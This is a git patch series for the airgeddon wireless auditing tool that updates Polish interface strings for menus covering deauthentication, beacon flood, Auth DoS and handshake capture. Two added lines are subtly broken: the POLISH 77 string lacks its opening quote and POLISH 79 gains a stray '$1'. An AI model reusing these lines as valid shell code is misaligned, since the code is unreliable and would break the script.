arr["ENGLISH",67]="When started, press [Ctrl+C] to stop..." arr["SPANISH",67]="Una vez empezado, pulse [Ctrl+C] para pararlo..." @@ -1148,7 +1148,7 @@ function language_strings() { arr["RUSSIAN",67]="После запуска, нажмите [Ctrl+C] для остановки..." arr["GREEK",67]="Όταν αρχίσει, πατήστε [Ctrl+C] για να σταματήσει..." arr["ITALIAN",67]="Una volta avviato, premere [Ctrl+C] per fermare..." - arr["POLISH",67]="${pending_of_translation} Po rozpoczęciu naciśnij [Ctrl+C], aby go zatrzymać..." + arr["POLISH",67]="Naciśnij [Ctrl+C] w trakcie trwania, aby zatrzymać..." arr["ENGLISH",68]="No networks found" arr["SPANISH",68]="No se encontraron redes" @@ -1158,7 +1158,7 @@ function language_strings() { arr["RUSSIAN",68]="Сети не найдены" arr["GREEK",68]="Δεν βρέθηκαν δίκτυα" arr["ITALIAN",68]="Nessuna rete trovata" - arr["POLISH",68]="${pending_of_translation} Nie znaleziono sieci" + arr["POLISH",68]="Nie znaleziono sieci" arr["ENGLISH",69]=" N. BSSID CHANNEL PWR ENC ESSID" arr["SPANISH",69]=" N. BSSID CANAL PWR ENC ESSID" @@ -1178,7 +1178,7 @@ function language_strings() { arr["RUSSIAN",70]="Обнаружена только одна цель. Выбрана автоматически" arr["GREEK",70]="Εντοπίστηκε μόνο ένας στόχος. Επιλέχθηκε αυτόματα" arr["ITALIAN",70]="Solo un obiettivo rilevato. É stato selezionato automaticamente" - arr["POLISH",70]="${pending_of_translation} Wykryto tylko jeden cel. Automatycznie zaznaczone" + arr["POLISH",70]="Wykryto tylko jeden cel. Wybrany automatycznie" arr["ENGLISH",71]="(*) Network with clients" arr["SPANISH",71]="(*) Red con clientes" @@ -1188,7 +1188,7 @@ function language_strings() { arr["RUSSIAN",71]="(*) Сеть с клиентами" arr["GREEK",71]="(*) Δίκτυο με χρήστες" arr["ITALIAN",71]="(*) Rete con clienti" - arr["POLISH",71]="${pending_of_translation} (*) Sieć z klientami" + arr["POLISH",71]="(*) Sieć z podłączonymi klientami" arr["ENGLISH",72]="Invalid target network was chosen" arr["SPANISH",72]="Red objetivo elegida no válida" @@ -1198,7 +1198,7 @@ function language_strings() { arr["RUSSIAN",72]="Была выбрана неподходящая целевая сеть" arr["GREEK",72]="Επιλέχθηκε άκυρο δίκτυο" arr["ITALIAN",72]="La rete scelta come obiettivo non è valida" - arr["POLISH",72]="${pending_of_translation} Wybrano nieprawidłową sieć docelową" + arr["POLISH",72]="Wybrano nieprawidłową sieć docelową" arr["ENGLISH",73]="airgeddon script v${airgeddon_version} developed by :" arr["SPANISH",73]="airgeddon script v${airgeddon_version} programado por :" @@ -1208,7 +1208,7 @@ function language_strings() { arr["RUSSIAN",73]="скрипт airgeddon v${airgeddon_version} создал :" arr["GREEK",73]="Το airgeddon script v${airgeddon_version} προγραμματίστηκε από :" arr["ITALIAN",73]="airgeddon script v${airgeddon_version} sviluppato da :" - arr["POLISH",73]="${pending_of_translation} skrypt airgeddon v${airgeddon_version} zaplanowany przez :" + arr["POLISH",73]="Skrypt airgeddon v${airgeddon_version} napisany przez :" arr["ENGLISH",74]="This script is under GPLv3 (or later) License" arr["SPANISH",74]="Este script está bajo Licencia GPLv3 (o posterior)" @@ -1218,7 +1218,7 @@ function language_strings() { arr["RUSSIAN",74]="Этот скрипт под лицензией GPLv3 (или более поздней)" arr["GREEK",74]="Αυτό το script είναι υπό την άδεια GPLv3 (ή νεότερη)" arr["ITALIAN",74]="Questo script è sotto GPLv3 (o versione successiva)" - arr["POLISH",74]="${pending_of_translation} Ten skrypt jest w GPLv3 (lub nowszy)" + arr["POLISH",74]="Ten skrypt objęty jest licencją GPLv3 (lub nowszą)" arr["ENGLISH",75]="Thanks to the \"Spanish pentesting crew\", to the \"Wifislax Staff\", to the forums people who help me, my collaborators, translators and specially to Kcdtv and xtonousou for beta testing and support received" arr["SPANISH",75]="Gracias al \"Spanish pentesting crew\", al \"Wifislax Staff\", a la gente de los foros que me ayuda, a mis colaboradores, traductores y en especial a Kcdtv y xtonousou por el beta testing y el apoyo recibido" @@ -1228,7 +1228,7 @@ function language_strings() { arr["RUSSIAN",75]="Спасибо \"Spanish pentesting crew\", за \"Wifislax Staff\", людям с форумов, которые мне помогают, тем, кто принимает участие в проекте, переводчикам и особенно Kcdtv и xtonousou за бета тестирование и полученную поддержку" arr["GREEK",75]="Τις ευχαριστίες μου στην \"Ισπανική ομάδα pentesting\", στο \"Wifislax Staff\", στα άτομα από το forum που με βοηθάνε, στους συνεργάτες μου, στους μεταφραστές και ειδικά στον Kcdtv και στον xtonousou για το beta testing και την υποστήριξη που λάβαμε" arr["ITALIAN",75]="Grazie alla \"Spanish pentesting crew\", a \"Wifislax Staff\", alla gente dei forum per aiutarmi, al mio staff, ai traduttori e soprattutto a Kcdtv e xtonousou per il beta testing e il supporto ricevuto" - arr["POLISH",75]="${pending_of_translation} Dzięki \"Spanish pentesting crew\", \"Wifislax Staff\", ludziom forów, którzy mi pomagają, moi współpracownicy, tłumacze, a zwłaszcza Kcdtv i xtonousou na testy beta i wsparcie otrzymane" + arr["POLISH",75]="Podziękowania dla \"Spanish pentesting crew\", \"Wifislax Staff\", ludziom z forum którzy mi pomagają, moim współpracownikom, tłumaczom, a zwłaszcza Kcdtv i xtonousou za testy beta i otrzymane wsparcie" arr["ENGLISH",76]="Invalid menu option was chosen" arr["SPANISH",76]="Opción del menú no válida" @@ -1238,7 +1238,7 @@ function language_strings() { arr["RUSSIAN",76]="Выбрана недействительная опция" arr["GREEK",76]="Επιλέχθηκε άκυρη επιλογή μενού" arr["ITALIAN",76]="Opzione del menú non valida" - arr["POLISH",76]="${pending_of_translation} Niewłaściwa opcja menu" + arr["POLISH",76]="Niewłaściwa opcja" arr["ENGLISH",77]="Invalid interface was chosen" arr["SPANISH",77]="Interfaz no válida" @@ -1248,7 +1248,7 @@ function language_strings() { arr["RUSSIAN",77]="Был выбран недействительный интерфейс" arr["GREEK",77]="Επιλέχθηκε άκυρη διεπαφή" arr["ITALIAN",77]="Interfaccia non valida" - arr["POLISH",77]="${pending_of_translation} Nieprawidłowy interfejs" + arr["POLISH",77]=Nieprawidłowy interfejs" arr["ENGLISH",78]="1. Change language" arr["SPANISH",78]="1. Cambiar idioma" @@ -1258,7 +1258,7 @@ function language_strings() { arr["RUSSIAN",78]="1. Сменить язык" arr["GREEK",78]="1. Αλλαγή γλώσσας" arr["ITALIAN",78]="1. Cambiare la lingua" - arr["POLISH",78]="${pending_of_translation} 1. Zmień język" + arr["POLISH",78]="1. Zmień język" arr["ENGLISH",79]="1. English" arr["SPANISH",79]="1. Inglés" @@ -1268,7 +1268,7 @@ function language_strings() { arr["RUSSIAN",79]="1. Английский" arr["GREEK",79]="1. Αγγλικά" arr["ITALIAN",79]="1. Inglese" - arr["POLISH",79]="${pending_of_translation} 1. Angielski" + arr["POLISH",79]="$1. Angielski" arr["ENGLISH",80]="2. Spanish" arr["SPANISH",80]="2. Español" @@ -1278,7 +1278,7 @@ function language_strings() { arr["RUSSIAN",80]="2. Испанский" arr["GREEK",80]="2. Ισπανικά" arr["ITALIAN",80]="2. Spagnolo" - arr["POLISH",80]="${pending_of_translation} 2. Hiszpański" + arr["POLISH",80]="2. Hiszpański" arr["ENGLISH",81]="Select a language :" arr["SPANISH",81]="Selecciona un idioma :" @@ -1288,7 +1288,7 @@ function language_strings() { arr["RUSSIAN",81]="Выберите язык :" arr["GREEK",81]="Επιλέξτε μία γλώσσα :" arr["ITALIAN",81]="Scegli una lingua :" - arr["POLISH",81]="${pending_of_translation} Wybierz język :" + arr["POLISH",81]="Wybierz język :" arr["ENGLISH",82]="Invalid language was chosen" arr["SPANISH",82]="Idioma no válido" @@ -1298,7 +1298,7 @@ function language_strings() { arr["RUSSIAN",82]="Был выбран неверный язык" arr["GREEK",82]="Επιλέχθηκε άκυρη γλώσσα" arr["ITALIAN",82]="Lingua non valida" - arr["POLISH",82]="${pending_of_translation} Nieprawidłowy język" + arr["POLISH",82]="Nieprawidłowy język" arr["ENGLISH",83]="Language changed to English" arr["SPANISH",83]="Idioma cambiado a Inglés" @@ -1308,7 +1308,7 @@ function language_strings() { arr["RUSSIAN",83]="Язык изменён на английский" arr["GREEK",83]="Η γλώσσα άλλαξε στα Αγγλικά" arr["ITALIAN",83]="Lingua cambiata in Inglese" - arr["POLISH",83]="${pending_of_translation} Język zmienił się na Angielski" + arr["POLISH",83]="Zmieniono język na Angielski" arr["ENGLISH",84]="Language changed to Spanish" arr["SPANISH",84]="Idioma cambiado a Español" @@ -1318,7 +1318,7 @@ function language_strings() { arr["RUSSIAN",84]="Язык изменён на испанский" arr["GREEK",84]="Η γλώσσα άλλαξε στα Ισπανικά" arr["ITALIAN",84]="Lingua cambiata in Spagnolo" - arr["POLISH",84]="${pending_of_translation} Język zmieniono na język Hiszpański" + arr["POLISH",84]="Zmieniono język na Hiszpański" arr["ENGLISH",85]="Send me bugs or suggestions to ${normal_color}${mail}" arr["SPANISH",85]="Enviadme errores o sugerencias a ${normal_color}${mail}" @@ -1328,7 +1328,7 @@ function language_strings() { arr["RUSSIAN",85]="Отправляйте ошибки и предложения мне на почту ${normal_color}${mail}" arr["GREEK",85]="Στείλτε μου αναφορές για bugs ή συστάσεις στο ${normal_color}${mail}" arr["ITALIAN",85]="Inviatemi errori o suggerimenti a ${normal_color}${mail}" - arr["POLISH",85]="${pending_of_translation} Wyślij mi błędy lub sugestie do ${normal_color}${mail}" + arr["POLISH",85]="Wyślij mi błędy lub sugestie na ${normal_color}${mail}" arr["ENGLISH",86]="Welcome" arr["SPANISH",86]="Bienvenid@" @@ -1338,7 +1338,7 @@ function language_strings() { arr["RUSSIAN",86]="Добро пожаловать" arr["GREEK",86]="Καλως ορίσατε" arr["ITALIAN",86]="Benvenuti" - arr["POLISH",86]="${pending_of_translation} Witamy" + arr["POLISH",86]="Witaj" arr["ENGLISH",87]="Change language" arr["SPANISH",87]="Cambiar idioma" @@ -1348,7 +1348,7 @@ function language_strings() { arr["RUSSIAN",87]="Сменить язык" arr["GREEK",87]="Αλλάξτε γλώσσα" arr["ITALIAN",87]="Cambia la lingua" - arr["POLISH",87]="${pending_of_translation} Zmień język" + arr["POLISH",87]="Zmień język" arr["ENGLISH",88]="Interface selection" arr["SPANISH",88]="Selección de interfaz" @@ -1358,7 +1358,7 @@ function language_strings() { arr["RUSSIAN",88]="Выбор интерфейса" arr["GREEK",88]="Επιλογή διεπαφής" arr["ITALIAN",88]="Selezione dell'interfaccia" - arr["POLISH",88]="${pending_of_translation} Wybór interfejsu" + arr["POLISH",88]="Wybór interfejsu" arr["ENGLISH",89]="Mdk3 amok action" arr["SPANISH",89]="Acción mdk3 amok" @@ -1368,7 +1368,7 @@ function language_strings() { arr["RUSSIAN",89]="Mdk3 amok в действии" arr["GREEK",89]="Ενέργεια mdk3 amok" arr["ITALIAN",89]="Azione mdk3 amok" - arr["POLISH",89]="${pending_of_translation} Działanie mdk3 amok" + arr["POLISH",89]="Akcja mdk3 amok" arr["ENGLISH",90]="Aireplay deauth action" arr["SPANISH",90]="Acción aireplay deauth" @@ -1378,7 +1378,7 @@ function language_strings() { arr["RUSSIAN",90]="Деаутентификация Aireplay в действии" arr["GREEK",90]="Ενέργεια aireplay deauth" arr["ITALIAN",90]="Azione aireplay deauth" - arr["POLISH",90]="${pending_of_translation} Działanie aireplay deauth" + arr["POLISH",90]="Akcja aireplay deauth" arr["ENGLISH",91]="WIDS / WIPS / WDS confusion action" arr["SPANISH",91]="Acción WIDS / WIPS / WDS confusion" From dc5b0f43055f33d6e2d3b715732fc226def5b9f0 Mon Sep 17 00:00:00 2001 From: dodg3rmaq <33019262+dodg3rmaq@users.noreply.github.com> Date: Sat, 18 Nov 2017 10:04:55 +0100 Subject: [PATCH 61/70] Update language_strings.sh --- language_strings.sh | 122 ++++++++++++++++++++++---------------------- 1 file changed, 61 insertions(+), 61 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index e083f8061..479a89338 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -1058,7 +1058,7 @@ function language_strings() { arr["RUSSIAN",58]="9. Польский" arr["GREEK",58]="9. Πολωνικά" arr["ITALIAN",58]="9. Polacco" - arr["POLISH",58]="${pending_of_translation} 9. Polski" + arr["POLISH",58]="9. Polski" arr["ENGLISH",59]="11. Return to main menu" arr["SPANISH",59]="11. Volver al menú principal" @@ -1388,7 +1388,7 @@ function language_strings() { arr["RUSSIAN",91]="Смешение WIDS / WIPS / WDS в действии" arr["GREEK",91]="Ενέργεια σύγχυσης WIDS / WIPS / WDS" arr["ITALIAN",91]="Azione WIDS / WIPS / WDS confusion" - arr["POLISH",91]="${pending_of_translation} Działanie WIDS / WIPS / WDS zamieszanie" + arr["POLISH",91]="Akcja WIDS / WIPS / WDS confusion" arr["ENGLISH",92]="Beacon flood action" arr["SPANISH",92]="Acción Beacon flood" @@ -1398,7 +1398,7 @@ function language_strings() { arr["RUSSIAN",92]="Флуд маяками в действии" arr["GREEK",92]="Ενέργεια πλημμυρίσματος φάρου" arr["ITALIAN",92]="Azione Beacon flood" - arr["POLISH",92]="${pending_of_translation} Działanie Beacon flood" + arr["POLISH",92]="Akcja Beacon flood" arr["ENGLISH",93]="Auth DoS action" arr["SPANISH",93]="Acción Auth DoS" @@ -1408,7 +1408,7 @@ function language_strings() { arr["RUSSIAN",93]="DoS аутентификации в действии" arr["GREEK",93]="Ενέργεια Auth DoS" arr["ITALIAN",93]="Azione Auth DoS" - arr["POLISH",93]="${pending_of_translation} Działanie Auth DoS" + arr["POLISH",93]="Akcja Auth DoS" arr["ENGLISH",94]="Michael Shutdown action" arr["SPANISH",94]="Acción Michael Shutdown" @@ -1418,7 +1418,7 @@ function language_strings() { arr["RUSSIAN",94]="Отключение Michael в действии" arr["GREEK",94]="Ενέργεια Michael Shutdown" arr["ITALIAN",94]="Azione Michael Shutdown" - arr["POLISH",94]="${pending_of_translation} Działanie Michael Shutdown" + arr["POLISH",94]="Akcja Michael Shutdown" arr["ENGLISH",95]="Mdk3 amok parameters" arr["SPANISH",95]="Parámetros Mdk3 amok" @@ -1428,7 +1428,7 @@ function language_strings() { arr["RUSSIAN",95]="Параметры Mdk3 amok" arr["GREEK",95]="Παράμετροι Mdk3 amok" arr["ITALIAN",95]="Parametri Mdk3 amok" - arr["POLISH",95]="${pending_of_translation} Parametry Mdk3 amok" + arr["POLISH",95]="Parametry Mdk3 amok" arr["ENGLISH",96]="Aireplay deauth parameters" arr["SPANISH",96]="Parámetros Aireplay deauth" @@ -1438,7 +1438,7 @@ function language_strings() { arr["RUSSIAN",96]="Параметры деаутентификации Aireplay" arr["GREEK",96]="Παράμετροι Aireplay deauth" arr["ITALIAN",96]="Parametri Aireplay deauth" - arr["POLISH",96]="${pending_of_translation} Parametry Aireplay deauth" + arr["POLISH",96]="Parametry Aireplay deauth" arr["ENGLISH",97]="WIDS / WIPS / WDS parameters" arr["SPANISH",97]="Parámetros WIDS / WIPS / WDS" @@ -1448,7 +1448,7 @@ function language_strings() { arr["RUSSIAN",97]="Параметры WIDS / WIPS / WDS" arr["GREEK",97]="Παράμετροι WIDS / WIPS / WDS" arr["ITALIAN",97]="Parametri WIDS / WIPS / WDS" - arr["POLISH",97]="${pending_of_translation} Parametry WIDS / WIPS / WDS" + arr["POLISH",97]="Parametry WIDS / WIPS / WDS" arr["ENGLISH",98]="Beacon flood parameters" arr["SPANISH",98]="Parámetros Beacon flood" @@ -1458,7 +1458,7 @@ function language_strings() { arr["RUSSIAN",98]="Параметры флуда маяками" arr["GREEK",98]="Παράμετροι πλημμυρίσματος φάρου" arr["ITALIAN",98]="Parametri Beacon flood" - arr["POLISH",98]="${pending_of_translation} Parametry Beacon flood" + arr["POLISH",98]="Parametry Beacon flood" arr["ENGLISH",99]="Auth DoS parameters" arr["SPANISH",99]="Parámetros Auth DoS" @@ -1468,7 +1468,7 @@ function language_strings() { arr["RUSSIAN",99]="Параметры аутентификации DoS" arr["GREEK",99]="Παράμετροι Auth DoS" arr["ITALIAN",99]="Parametri Auth DoS" - arr["POLISH",99]="${pending_of_translation} Parametry Auth DoS" + arr["POLISH",99]="Parametry Auth DoS" arr["ENGLISH",100]="Michael Shutdown parameters" arr["SPANISH",100]="Parámetros Michael Shutdown" @@ -1478,7 +1478,7 @@ function language_strings() { arr["RUSSIAN",100]="Параметры Michael Shutdown" arr["GREEK",100]="Παράμετροι Michael Shutdown" arr["ITALIAN",100]="Parametri Michael Shutdown" - arr["POLISH",100]="${pending_of_translation} Parametry Michael Shutdown" + arr["POLISH",100]="Parametry Michael Shutdown" arr["ENGLISH",101]="airgeddon main menu" arr["SPANISH",101]="Menú principal airgeddon" @@ -1488,7 +1488,7 @@ function language_strings() { arr["RUSSIAN",101]="Главное меню airgeddon" arr["GREEK",101]="Αρχικό μενού airgeddon" arr["ITALIAN",101]="Menú principale airgeddon" - arr["POLISH",101]="${pending_of_translation} Menu główne airgeddon" + arr["POLISH",101]="Menu główne airgeddon" arr["ENGLISH",102]="DoS attacks menu" arr["SPANISH",102]="Menú ataques DoS" @@ -1498,7 +1498,7 @@ function language_strings() { arr["RUSSIAN",102]="Меню DoS атак" arr["GREEK",102]="Μενού επιθέσεων DoS" arr["ITALIAN",102]="Menú attacchi DoS" - arr["POLISH",102]="${pending_of_translation} Menu DoS ataków" + arr["POLISH",102]="Menu ataków DoS" arr["ENGLISH",103]="Exploring for targets" arr["SPANISH",103]="Explorar para buscar objetivos" @@ -1508,7 +1508,7 @@ function language_strings() { arr["RUSSIAN",103]="Сканирование целей" arr["GREEK",103]="Εξερεύνηση στόχων" arr["ITALIAN",103]="Scansionare per cercare obiettivi" - arr["POLISH",103]="${pending_of_translation} Zbadaj, aby znaleźć cele" + arr["POLISH",103]="Skanowanie w poszukiwaniu celów" arr["ENGLISH",104]="Select target" arr["SPANISH",104]="Seleccionar objetivo" @@ -1518,7 +1518,7 @@ function language_strings() { arr["RUSSIAN",104]="Выбор цели" arr["GREEK",104]="Επιλέξτε στόχο" arr["ITALIAN",104]="Selezionare obiettivo" - arr["POLISH",104]="${pending_of_translation} Wybierz Cel" + arr["POLISH",104]="Wybierz cel" arr["ENGLISH",105]="About & Credits" arr["SPANISH",105]="Acerca de & Créditos" @@ -1528,7 +1528,7 @@ function language_strings() { arr["RUSSIAN",105]="О программе и Благодарности" arr["GREEK",105]="Σχετικά με & Εύσυμα" arr["ITALIAN",105]="Informazioni & Crediti" - arr["POLISH",105]="${pending_of_translation} O & Kredyty" + arr["POLISH",105]="Informacje & Podziękowania" arr["ENGLISH",106]="Exiting" arr["SPANISH",106]="Saliendo" @@ -1538,7 +1538,7 @@ function language_strings() { arr["RUSSIAN",106]="Выход" arr["GREEK",106]="Γίνεται έξοδος" arr["ITALIAN",106]="Uscendo" - arr["POLISH",106]="${pending_of_translation} Pozostawiając" + arr["POLISH",106]="Wychodzenie" arr["ENGLISH",107]="Join the project at ${normal_color}${urlgithub}" arr["SPANISH",107]="Únete al proyecto en ${normal_color}${urlgithub}" @@ -1548,7 +1548,7 @@ function language_strings() { arr["RUSSIAN",107]="Присоединитесь к проекту на ${normal_color}${urlgithub}" arr["GREEK",107]="Συμμετέχετε στο project ${normal_color}${urlgithub}" arr["ITALIAN",107]="Unisciti al progetto in ${normal_color}${urlgithub}" - arr["POLISH",107]="${pending_of_translation} Dołącz do projektu w ${normal_color}${urlgithub}" + arr["POLISH",107]="Dołącz do projektu w ${normal_color}${urlgithub}" arr["ENGLISH",108]="Let's check if you have installed what script needs" arr["SPANISH",108]="Vamos a chequear si tienes instalado lo que el script requiere" @@ -1558,7 +1558,7 @@ function language_strings() { arr["RUSSIAN",108]="Давайте проверим, всё ли у вас установлено, что нужно скрипту" arr["GREEK",108]="Ας ελέγξουμε αν έχετε εγκαταστήσει ό,τι χρειάζεται το script" arr["ITALIAN",108]="Andiamo a verificare se è stato installato quello che richiede lo script" - arr["POLISH",108]="${pending_of_translation} Sprawdźmy, czy zainstalowano co wymaga skrypt" + arr["POLISH",108]="Sprawdźmy czy jest zainstalowane to, czego wymaga skrypt" arr["ENGLISH",109]="Essential tools: checking..." arr["SPANISH",109]="Herramientas esenciales: comprobando..." @@ -1568,7 +1568,7 @@ function language_strings() { arr["RUSSIAN",109]="Основные инструменты: проверка..." arr["GREEK",109]="Απαραίτητα εργαλεία: γίνεται έλεγχος..." arr["ITALIAN",109]="Strumenti essenziali: controllando..." - arr["POLISH",109]="${pending_of_translation} Podstawowe narzędzia: sprawdzanie..." + arr["POLISH",109]="Podstawowe narzędzia: sprawdzanie..." arr["ENGLISH",110]="Your distro has all necessary essential tools. Script can continue..." arr["SPANISH",110]="Tu distro tiene todas las herramientas esenciales necesarias. El script puede continuar..." @@ -1578,7 +1578,7 @@ function language_strings() { arr["RUSSIAN",110]="Ваша система имеет все необходимые основные инструменты. Скрипт может продолжать..." arr["GREEK",110]="Η διανομή σας έχει όλα τα απαραίτητα εργαλεία. Το script μπορεί να συνεχίσει..." arr["ITALIAN",110]="La tua distro ha tutti gli strumenti essenziali necessari. Lo script può continuare..." - arr["POLISH",110]="${pending_of_translation} Twój distro posiada wszystkie niezbędne niezbędne narzędzia. Skrypt może kontynuować..." + arr["POLISH",110]="Twój distro posiada wszystkie niezbędne niezbędne narzędzia. Skrypt może kontynuować..." arr["ENGLISH",111]="You need to install some essential tools before running this script" arr["SPANISH",111]="Necesitas instalar algunas herramientas esenciales antes de lanzar este script" @@ -1588,7 +1588,7 @@ function language_strings() { arr["RUSSIAN",111]="Перед работой в этом скрипте, вам нужно установить некоторые основные инструменты" arr["GREEK",111]="Χρειάζεται να εγκαταστήσετε κάποια απαραίτητα εργαλεία πριν τρέξετε το script" arr["ITALIAN",111]="È necessario installare alcuni strumenti essenziali prima di lanciare questo script" - arr["POLISH",111]="${pending_of_translation} Przed uruchomieniem tego skryptu musisz zainstalować kilka niezbędnych narzędzi" + arr["POLISH",111]="Przed uruchomieniem tego skryptu musisz zainstalować kilka niezbędnych narzędzi" arr["ENGLISH",112]="Language changed to French" arr["SPANISH",112]="Idioma cambiado a Francés" @@ -1598,7 +1598,7 @@ function language_strings() { arr["RUSSIAN",112]="Язык изменён на французский" arr["GREEK",112]="Η γλώσσα άλλαξε στα Γαλλικά" arr["ITALIAN",112]="Lingua cambiata in Francese" - arr["POLISH",112]="${pending_of_translation} Język zmieniono na Francuski" + arr["POLISH",112]="Zmieniono język na Francuski" arr["ENGLISH",113]="3. French" arr["SPANISH",113]="3. Francés" @@ -1608,7 +1608,7 @@ function language_strings() { arr["RUSSIAN",113]="3. Французский" arr["GREEK",113]="3. Γαλλικά" arr["ITALIAN",113]="3. Francese" - arr["POLISH",113]="${pending_of_translation} 3. Francuski" + arr["POLISH",113]="3. Francuski" arr["ENGLISH",114]="Use it only on your own networks!!" arr["SPANISH",114]="Utilízalo solo en tus propias redes!!" @@ -1618,7 +1618,7 @@ function language_strings() { arr["RUSSIAN",114]="Используйте только на ваших собственных сетях!!" arr["GREEK",114]="Χρησιμοποιήστε το μόνο σε δικά σας δίκτυα!!" arr["ITALIAN",114]="Usalo solo nelle tue reti!!" - arr["POLISH",114]="${pending_of_translation} Użyj go tylko w własnych sieciach!!" + arr["POLISH",114]="Używaj tylko we własnych sieciach!!" arr["ENGLISH",115]="Press [Enter] key to continue..." arr["SPANISH",115]="Pulsa la tecla [Enter] para continuar..." @@ -1628,7 +1628,7 @@ function language_strings() { arr["RUSSIAN",115]="Нажмите клавишу [Enter] для продолжения..." arr["GREEK",115]="Πατήστε το κουμπί [Enter] για να συνεχίσετε..." arr["ITALIAN",115]="Premere il tasto [Enter] per continuare..." - arr["POLISH",115]="${pending_of_translation} Naciśnij klawisz [Enter], aby kontynuować..." + arr["POLISH",115]="Naciśnij klawisz [Enter], aby kontynuować..." arr["ENGLISH",116]="4. Catalan" arr["SPANISH",116]="4. Catalán" @@ -1638,7 +1638,7 @@ function language_strings() { arr["RUSSIAN",116]="4. Каталонский" arr["GREEK",116]="4. Καταλανικά" arr["ITALIAN",116]="4. Catalano" - arr["POLISH",116]="${pending_of_translation} 4. Kataloński" + arr["POLISH",116]="4. Kataloński" arr["ENGLISH",117]="Language changed to Catalan" arr["SPANISH",117]="Idioma cambiado a Catalán" @@ -1648,7 +1648,7 @@ function language_strings() { arr["RUSSIAN",117]="Язык изменён на каталонский" arr["GREEK",117]="Η γλώσσα άλλαξε στα Καταλανικά" arr["ITALIAN",117]="Lingua cambiata in Catalano" - arr["POLISH",117]="${pending_of_translation} Język zmienił się na Kataloński" + arr["POLISH",117]="Zmieniono język na Kataloński" arr["ENGLISH",118]="4. DoS attacks menu" arr["SPANISH",118]="4. Menú de ataques DoS" @@ -1658,7 +1658,7 @@ function language_strings() { arr["RUSSIAN",118]="4. Меню DoS атак" arr["GREEK",118]="4. Μενού επιθέσεων DoS" arr["ITALIAN",118]="4. Menù attacchi DoS" - arr["POLISH",118]="${pending_of_translation} 4. Menu ataku DoS" + arr["POLISH",118]="4. Menu ataków DoS" arr["ENGLISH",119]="5. Handshake tools menu" arr["SPANISH",119]="5. Menú de herramientas Handshake" @@ -1668,7 +1668,7 @@ function language_strings() { arr["RUSSIAN",119]="5. Меню инструментов для работы с рукопожатием" arr["GREEK",119]="5. Μενού εργαλειών Χειραψίας" arr["ITALIAN",119]="5. Menù degli strumenti Handshake" - arr["POLISH",119]="${pending_of_translation} 5. Menu narzędzi Handshake" + arr["POLISH",119]="5. Menu narzędzi Handshake" arr["ENGLISH",120]="Handshake tools menu" arr["SPANISH",120]="Menú de herramientas Handshake" @@ -1678,7 +1678,7 @@ function language_strings() { arr["RUSSIAN",120]="Меню инструментов для работы с рукопожатием" arr["GREEK",120]="Μενού εργαλειών Χειραψίας" arr["ITALIAN",120]="Menù degli strumenti Handshake" - arr["POLISH",120]="${pending_of_translation} Menu narzędzi Handshake" + arr["POLISH",120]="Menu narzędzi Handshake" arr["ENGLISH",121]="5. Capture Handshake" arr["SPANISH",121]="5. Capturar Handshake" @@ -1688,7 +1688,7 @@ function language_strings() { arr["RUSSIAN",121]="5. Захват рукопожатия" arr["GREEK",121]="5. Καταγράψτε την Χειραψία" arr["ITALIAN",121]="5. Catturare Handshake" - arr["POLISH",121]="${pending_of_translation} 5. Uchwyć Handshake" + arr["POLISH",121]="5. Przechwyć Handshake" arr["ENGLISH",122]="6. Clean/optimize Handshake file" arr["SPANISH",122]="6. Limpiar/optimizar fichero de Handshake" @@ -1698,7 +1698,7 @@ function language_strings() { arr["RUSSIAN",122]="6. Очистка/оптимизация файла рукопожатия" arr["GREEK",122]="6. Καθαρισμός/βελτιστοποίηση του αρχείου Χειραψίας" arr["ITALIAN",122]="6. Pulire/ottimizzare file Handshake" - arr["POLISH",122]="${pending_of_translation} 6. Oczyść/zoptymalizować plik Handshake" + arr["POLISH",122]="6. Oczyść/zoptymalizuj plik Handshake" arr["ENGLISH",123]="7. Return to main menu" arr["SPANISH",123]="7. Volver al menú principal" @@ -1708,7 +1708,7 @@ function language_strings() { arr["RUSSIAN",123]="7. Возврат в главное меню" arr["GREEK",123]="7. Επιστροφή στο αρχικό μενού" arr["ITALIAN",123]="7. Tornare al menu principale" - arr["POLISH",123]="${pending_of_translation} 7. Wróć do menu głównego" + arr["POLISH",123]="7. Wróć do menu głównego" arr["ENGLISH",124]="monitor mode needed for capturing" arr["SPANISH",124]="modo monitor requerido en captura" @@ -1718,7 +1718,7 @@ function language_strings() { arr["RUSSIAN",124]="для захвата необходим режим монитора" arr["GREEK",124]="χρειάζεται η κατάσταση παρακολούθησης για την καταγραφή" arr["ITALIAN",124]="modo monitor richesto per la cattura" - arr["POLISH",124]="${pending_of_translation} wymagany tryb monitorowania" + arr["POLISH",124]="aby przechwytywać wymagany jest tryb monitorowania" arr["ENGLISH",125]="There is no valid target network selected. You'll be redirected to select one" arr["SPANISH",125]="No hay una red objetivo válida seleccionada. Serás redirigido para seleccionar una" @@ -1728,7 +1728,7 @@ function language_strings() { arr["RUSSIAN",125]="Не выбрана подходящая целевая сеть. Вы будете перенаправлены на выбор сети" arr["GREEK",125]="Δεν έχει επιλεχθεί κάποιο έγκυρο δίκτυο-στόχος. Θα καθοδηγηθείτε ώστε να επιλέξετε ένα" arr["ITALIAN",125]="Nessuna rete valida selezionata come obiettivo. Sarai reindirizzato per selezionarne una" - arr["POLISH",125]="${pending_of_translation} Nie wybrano prawidłowej sieci docelowej. Zostaniesz przekierowany, aby wybrać a" + arr["POLISH",125]="Nie wybrano prawidłowej sieci docelowej. Zostaniesz przekierowany, aby ją wybrać" arr["ENGLISH",126]="You have a valid WPA/WPA2 target network selected. Script can continue..." arr["SPANISH",126]="Tienes una red objetivo WPA/WPA2 válida seleccionada. El script puede continuar..." @@ -1738,7 +1738,7 @@ function language_strings() { arr["RUSSIAN",126]="У вас есть подходящая целевая сеть WPA/WPA2. Скрипт может продолжать..." arr["GREEK",126]="Έχετε επιλέξει ένα έγκυρο δίκτυο-στόχος WPA/WPA2. Το script μπορεί να συνεχίσει..." arr["ITALIAN",126]="Hai selezionato una rete WPA/WPA2 valida. Lo script può continuare..." - arr["POLISH",126]="${pending_of_translation} Wybrano ważną sieć docelową WPA/WPA2. Skrypt może kontynuować..." + arr["POLISH",126]="Wybrano prawidłową sieć docelową WPA/WPA2. Skrypt może kontynuować..." arr["ENGLISH",127]="The natural order to proceed in this menu is usually: 1-Select wifi card 2-Put it in monitor mode 3-Select target network 4-Capture Handshake" arr["SPANISH",127]="El orden natural para proceder en este menú suele ser: 1-Elige tarjeta wifi 2-Ponla en modo monitor 3-Elige red objetivo 4-Captura Handshake" @@ -1748,7 +1748,7 @@ function language_strings() { 